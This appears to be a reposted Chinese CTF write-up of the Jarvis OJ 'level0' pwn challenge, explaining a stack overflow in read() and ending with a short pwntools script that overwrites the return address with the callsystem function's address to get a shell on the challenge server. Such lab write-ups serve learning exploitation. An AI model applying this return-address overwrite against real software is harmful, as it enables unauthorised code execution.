Pwn-level0

Posted gaonuoqi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Pwn-level0相关的知识,希望对你有一定的参考价值。

题目地址

https://dn.jarvisoj.com/challengefiles/level0.b9ded3801d6dd36a97468e128b81a65d

 

第一步先看文件的属性    64位

技术图片

 之后检查保护性

技术图片

 

 用IDA打开,观察伪代码F5
技术图片

 跳出hello world,然后返回vulnerable_function函数

技术图片

 这边发现一个可以直接get shell的函数callsystem

技术图片

 

read函数存在栈溢出,我们可以利用栈溢出把返回地址覆盖程callsystem的入口地址

技术图片

 技术图片

需要覆盖0x88个字符(0x80+0x8)

 

利用代码如下

from pwn import *
r=remote(pwn2.jarvisoj.com,9881)
payload=a*0x88+p64(0x400596)
r.sendline(payload)
r.interactive()

执行

技术图片

 

 



 

以上是关于Pwn-level0的主要内容,如果未能解决你的问题,请参考以下文章

Pwn-level2(x64)

这个代码片段究竟做了啥?

vue2.0 代码功能片段

为啥代码片段在 matplotlib 2.0.2 上运行良好,但在 matplotlib 2.1.0 上引发错误

C++ 代码片段执行

apriori片段代码